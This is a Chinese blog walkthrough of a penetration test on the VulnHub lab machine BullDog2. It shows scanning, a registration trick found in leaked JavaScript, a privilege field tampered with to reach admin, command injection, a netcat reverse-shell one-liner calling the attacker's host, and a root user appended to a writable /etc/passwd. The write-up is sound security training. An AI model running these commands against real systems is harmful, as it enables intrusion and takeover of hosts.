【VulnHub靶机渗透】一:BullDog2

在网上各位大佬WriteUp的帮助下,成功完成了第一次完整的靶机渗透测试(大佬NB!),现将详细过程及原理做简单整理。


文章目录

    • 简介
    • 渗透步骤
      • 1、主机发现、端口扫描
      • 2、Web扫描、漏洞发现
      • 3、漏洞利用、GetShell
      • 4、权限提升,得到Flag
      • 续:种植后门
    • 总结

简介

靶机:

  • 名称:BullDog2
  • 系统:Linux
  • 难度:中级
  • 目标:进入根目录并查看祝贺消息

环境:

  • 靶机:BullDog2——192,168.11.19
  • 攻击机:Kali——192.168.11.11
  • 工具:Nmap、dirb、NetCat(nc)、BurpSuit、Sqlmap

流程:

  1. 主机发现、端口扫描
  2. Web扫描、漏洞发现
  3. 漏洞利用、GetShell
  4. 权限提升、得到Flag

渗透步骤

1、主机发现、端口扫描

【VulnHub靶机渗透】一:BullDog2_第1张图片
使用Nmap进行主机发现,扫描到目标主机

nmap -sn 192.168.11.1/24

【VulnHub靶机渗透】一:BullDog2_第2张图片
详细扫描其开放端口及服务信息,发现只开启了一个80端口,服务器版本为Nginx

Nginx 1.14.0,查得该版本存在解析漏洞,后续作为一个切入点

nmap -sS -sV -T4 192.168.11.19

【VulnHub靶机渗透】一:BullDog2_第3张图片
那么自然要进行目录扫描,使用dirb,扫描到两个目录,但是没有任何有用信息

dirb http://192.168.11.19

【VulnHub靶机渗透】一:BullDog2_第4张图片

2、Web扫描、漏洞发现

访问目标站点,寻找突破口。发现有5个可点击的地方
【VulnHub靶机渗透】一:BullDog2_第5张图片
3、4、5没有什么有用信息,先查看1和2

1中是一个登录界面,随意输入aaa aaa登录失败,进行抓包分析
【VulnHub靶机渗透】一:BullDog2_第6张图片
看到传入参数为usernamepassword,自然想到尝试进行sql注入探测
【VulnHub靶机渗透】一:BullDog2_第7张图片
使用sqlmap进行sql注入探测,POST注入无果,因此将其放在cookie里再次尝试

sqlmap -u "http://192.168.11.19/users/authenticate" --cookie="username=123&password=123" --level=2

【VulnHub靶机渗透】一:BullDog2_第8张图片
在多次尝试后,依然没有成功,注入这条线暂时以失败告终。
【VulnHub靶机渗透】一:BullDog2_第9张图片
继续查看Register板块,发现会提示错误,意识到这里肯定有问题!
【VulnHub靶机渗透】一:BullDog2_第10张图片
最终在大佬的经验下得知:

  • 在进行渗透测试时,千万不要忽略JS源码泄漏,其中可能会有重要的信息。
  • 尤其是在这种靶机测试中,当没有突破口时,一般查看JS文件,都会有意外收获。

果不其然,检查网络文件发现,有4个JS文件,保存到本地进行代码审计
【VulnHub靶机渗透】一:BullDog2_第11张图片
在sublime中使用 JsFormat 对源码进行整理,并想到之前页面功能包括以下两个部分:

  1. 登录:Login
  2. 注册:Register

最终在main.8b490782e52b9899e2a7.bundle.js文件得到相关信息:搜索关键字,Login相关如下
【VulnHub靶机渗透】一:BullDog2_第12张图片
没有有用信息,继续搜索注册,发现了一些奥秘
【VulnHub靶机渗透】一:BullDog2_第13张图片
得到了注册用户所涉及的内容类型和传参方式,以及注册路径,继续查找
【VulnHub靶机渗透】一:BullDog2_第14张图片
又发现了在注册用户时,需要提供的参数。


ok,现在把得到的信息整理一下:

  • 登录页面正常,但是没有账户,无法登陆;
  • 注册页面报错,无法成功注册;
  • 有JS源码泄露,发现了注册用户的路径和Method;
  • 又发现了注册用户需要提交的参数。

综上,那么就可以抓包尝试进行构造注册请求,来注册用户,登录系统进一步探测了。


3、漏洞利用、GetShell

在登录界面,输入用户名密码均为qqq,抓包至Repeater模块
【VulnHub靶机渗透】一:BullDog2_第15张图片
修改请求路径为JS文件中的注册路径:/users/register,添加其他注册必须的信息,发包
【VulnHub靶机渗透】一:BullDog2_第16张图片
成功注册!现在尝试使用注册的账号:qqq - qqq进行登录,成功进入系统
【VulnHub靶机渗透】一:BullDog2_第17张图片
右上角有Profile配置选项,但是点击后没有任何反应。

重新登录并抓包,选定响应该请求(Response to this request),查看响应包,检查一下是否有越权漏洞
【VulnHub靶机渗透】一:BullDog2_第18张图片
在响应包中发现auth_level(身份等级)字段,似乎存在垂直越权
【VulnHub靶机渗透】一:BullDog2_第19张图片
此时又想到了之前的JS文件,搜索auth_level关键字康康有没有什么线索
【VulnHub靶机渗透】一:BullDog2_第20张图片
发现了一个疑似admin权限的身份标识:master_admin_user,尝试进行更改,然后提交
【VulnHub靶机渗透】一:BullDog2_第21张图片
成功!越权得到了admin权限
【VulnHub靶机渗透】一:BullDog2_第22张图片
点击Admin,出现一个管理界面,需要登录,但是使用任何账号密码登录都会报错
【VulnHub靶机渗透】一:BullDog2_第23张图片
在JS文件里搜索关键字Dashboard也没有有用信息,再一次从网上寻求帮助。


最终从大佬的WriteUp中得知,此处存在命令执行漏洞,大佬是这样发现的:

  • 首先输入账号密码登录,抓包并制造报错,得到了项目名称

【VulnHub靶机渗透】一:BullDog2_第24张图片

  • 在GitHub上查找到了托管的项目

【VulnHub靶机渗透】一:BullDog2_第25张图片

  • 下载至本地,进行源码分析,发现此处疑似存在命令执行漏洞

【VulnHub靶机渗透】一:BullDog2_第26张图片

  • 大佬指出,本次靶机实验大可不必进行源码审计,过于麻烦,毕竟可操作的选项就两个。

总结:
1、当目标站点使用了开源项目时,可将其保存至本地进行源码审计,或者在本地搭建一个一样的环境,更加方便测试。
2、输入框不仅有sql注入等漏洞,命令执行漏洞依然不能忽略。

OK,在得到大佬的帮助后,得知此处存在命令执行漏洞,那么直接利用即可。


象征性地进行验证一下,在密码处加入ping命令:ping 114.114.114.114
【VulnHub靶机渗透】一:BullDog2_第27张图片
使用wireshark抓包发现,该命令已经执行,因此判断存在命令执行漏洞。
注: 网上说可以采用http://服务器ip,然后服务器主机监听80端口,根据是否有连接来判断是否有命令执行漏洞,但是未能成功,加入culr后也未成功。)

查到,使用以下语句即可建立反弹shell,具体原理后续会专门写一篇各种反弹shell的原理分析。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.11.11 9999 >/tmp/f;

使用nc打开kali的9999端口进行监听
在这里插入图片描述
发送带有反弹shell命令的数据包
【VulnHub靶机渗透】一:BullDog2_第28张图片
此时Kali上已经成功建立反弹shell
【VulnHub靶机渗透】一:BullDog2_第29张图片
查看一些相关的信息
【VulnHub靶机渗透】一:BullDog2_第30张图片
但是这样的shell会话使用起来不够方便,我们使用python来建立一个bash会话

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述
初步判断,这应该就是网站根目录,后续可以进行种马
【VulnHub靶机渗透】一:BullDog2_第31张图片

4、权限提升,得到Flag

先查看一下所有用户,存在一个root用户
在这里插入图片描述
最下方还有两个root权限用户(为之前测试所创建)
【VulnHub靶机渗透】一:BullDog2_第32张图片
尝试使用当前账户创建一个root权限用户。
在这里插入图片描述
提示权限不足,因此当前用户并非root权限,需要提权。

也可以直接查看用户ID,当前UID为1001,非管理员权限
在这里插入图片描述


注:
UID为0的用户是超级用户, 就比如下方我的Kali主机的uid。
在这里插入图片描述
在Linux中用户分为3中:

  • 超级用户:root,UID为0
  • 普通用户:UID 5000 - 60000
  • 伪用户:UID 1 - 499

其中,伪用户最大的作用就是在一些系统操作或一些应用服务的调用的身份。


补充了一下Linux用户的知识,现在继续,查看一下passwd文件属性
在这里插入图片描述
所属用户为ooot,所属组为root组,而且当前权限为读写,因此可以直接向其中写入一个root权限的用户。


注:
一般都是查找当前用户下所有的可写文件,然后寻找突破口,查询语句如下:

find / -writable -type f 2>/dev/null |grep -v "/proc/"

可以看到,当前用户下,passwd文件可以写入
【VulnHub靶机渗透】一:BullDog2_第33张图片
(但是实际中,一般这种passwd文件普通用户可写的情况是不存在的)


开始向passwd文件写入一个root权限的用户。

需要先生成一个hash后的密码,可以使用Linux自带的mkpasswd命令生成,密码为abcd
在这里插入图片描述
如果需要加盐的密码,可以使用crypt函数生成,密码为abcd,盐值为sa:
在这里插入图片描述
也可以在本机生成,粘贴过去即可
在这里插入图片描述
我直接使用没有加盐的,使用echo命令将其写入passwd文件内,注意格式:

echo 'abcd:GSA9jpckEYwa2:0:0:abcd:/root:/bin/bash' >> /etc/passwd

在这里插入图片描述
查看一下passwd文件内容
【VulnHub靶机渗透】一:BullDog2_第34张图片
可以看到此时创建的abcd用户已经成功写入passwd文件,且权限为root,切换用户
【VulnHub靶机渗透】一:BullDog2_第35张图片
OK,成功拿到root权限,提权成功,看一下flag
【VulnHub靶机渗透】一:BullDog2_第36张图片
完成!该靶机的目标达到了,但是真正的渗透并未结束。


续:种植后门

至此,拿到了root权限,root权限可以在Web目录进行种马,保持持续连接。

之前已经提到了,刚进入系统时的目录其实就是Web根目录:

/var/www/node/Bulldog-2-The-Reckoning

【VulnHub靶机渗透】一:BullDog2_第37张图片
可以在此处搜索一下当前页面的关键字:dashboard
【VulnHub靶机渗透】一:BullDog2_第38张图片
成功搜索到了相关文件,说明此处的确为网站根目录,可以进行种马
【VulnHub靶机渗透】一:BullDog2_第39张图片
但是,在该文件夹内写入测试文件后,访问404,后来以为访问方式的问题,就索性参照该模式建立一个对应的文件夹
【VulnHub靶机渗透】一:BullDog2_第40张图片
因为发现在站点访问文件时,都是访问文件夹名,此处可能应该称之为模块名
【VulnHub靶机渗透】一:BullDog2_第41张图片
所以想参照这种模式,但是依然失败,估计是在配置文件中将访问写死了,唉就暂时这样吧,后续的种马搞不动了。


总结

本次靶机渗透大致分为以下步骤:

  • 首先使用Nmap进行扫描,搜集主机及端口服务详细信息
  • 对开放的80端口进行检测,扫描其目录,但是未发现有用信息
  • 访问站点,对站点进行sql注入登漏洞检测,未发现漏洞
  • 查看网络文件,发现有JS关键信息泄漏,将其保存至本地进行代码审计
  • 根据页面信息以及JS源码得到了用户注册的相关信息,成功注册用户
  • 进入系统后,发现该系统存在越权漏洞,利用该漏洞成功越权到管理员权限
  • 在管理员界面的Admin栏目下,发现一个登录处存在命令执行漏洞
  • 利用该漏洞建立反弹shell,成功进入目标主机,但是此时用户权限为普通
  • 利用passwd文件不安全的设置问题(普通用户可写),创建root权限用户
  • 成功拿到root权限。

大致流程就是这样,期间有许多不理解的地方,能完成得益于网上的众多WriteUp,感谢!

如有问题还请指出。

你可能感兴趣的:(#,VulnHub综合靶机,vulnhub,bulldog2,渗透测试)